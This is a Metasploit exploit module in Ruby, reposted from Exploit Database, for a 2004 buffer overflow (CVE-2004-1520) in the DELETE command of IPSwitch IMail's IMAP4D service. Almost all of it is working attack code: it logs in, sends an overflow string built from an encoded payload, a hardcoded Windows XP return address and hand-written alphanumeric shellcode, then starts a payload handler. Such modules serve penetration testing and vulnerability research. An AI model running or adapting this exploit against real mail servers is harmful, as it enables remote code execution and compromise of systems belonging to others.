IPSwitch IMail IMAP4D – Delete Overflow (Metasploit)

• Exploit Database
• 8 阅读

• 作者： Metasploit
  日期： 2010-09-20
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16479/

• ##
  # $Id: imail_delete.rb 10394 2010-09-20 08:06:27Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::Imap
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'IMail IMAP4D Delete Overflow',
  			'Description'=> %q{
  					This module exploits a buffer overflow in the 'DELETE'
  				command of the the IMail IMAP4D service. This vulnerability
  				can only be exploited with a valid username and password.
  				This flaw was patched in version 8.14.
  			},
  			'Author' => [ 'spoonm' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 10394 $',
  			'References' =>
  				[
  					[ 'CVE', '2004-1520'],
  					[ 'OSVDB', '11838'],
  					[ 'BID', '11675'],
  				],
  			'Privileged' => true,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC'=> 'thread',
  				},
  			'Payload'=>
  				{
  					'Space'=> 614,
  					'BadChars' => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),
  					'StackAdjustment' => -3500,
  					'EncoderOptions' =>
  						{
  							'BufferRegister' => 'EDX',
  						}
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					# alphanum rets :(, will look more into it later
  					['Windows XP sp0 comctl32.dll', { 'Ret' => 0x77364650 }],
  				],
  			'DisclosureDate' => 'Nov 12 2004',
  			'DefaultTarget' => 0))
  	end
  
  	def exploit
  		connect_login
  
  		print_status("Sending overflow string...")
  		req = 'A683 DELETE '
  		req << payload.encoded
  
  		# Jump over code
  		req << "\x74\x32\x75\x30"
  		req << [target.ret].pack('V')
  		req << rand_text_alphanumeric(44)
  
  		# GetEIP code
  		req << "\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x5a\x6a\x31\x59"
  		req << "\x6b\x42\x34\x49\x30\x42\x4e\x42\x49\x75\x50\x4a\x4a\x52\x52\x59"
  
  		# Alphanumeric jmp back (edx context)
  		req << "\x6a\x6a\x58\x30\x42\x31\x50\x41\x42\x6b\x42\x41"
  		req << "\x7a\x42\x32\x42\x41\x32\x41\x41\x30\x41\x41\x58\x38\x42\x42\x50"
  		req << "\x75\x4a\x49\x52\x7a\x71\x4a\x4d\x51\x7a\x4a\x6c\x55\x66\x62\x57"
  		req << "\x70\x55\x50\x4b\x4f\x6b\x52\x6a"
  
  		# Run off the stack, so we don't kill our payload, or something...
  		req << rand_text_alphanumeric(600)
  
  		# Terminate the request
  		req << "\r\n"
  
  		sock.put(req)
  
  		handler
  		disconnect
  	end
  
  end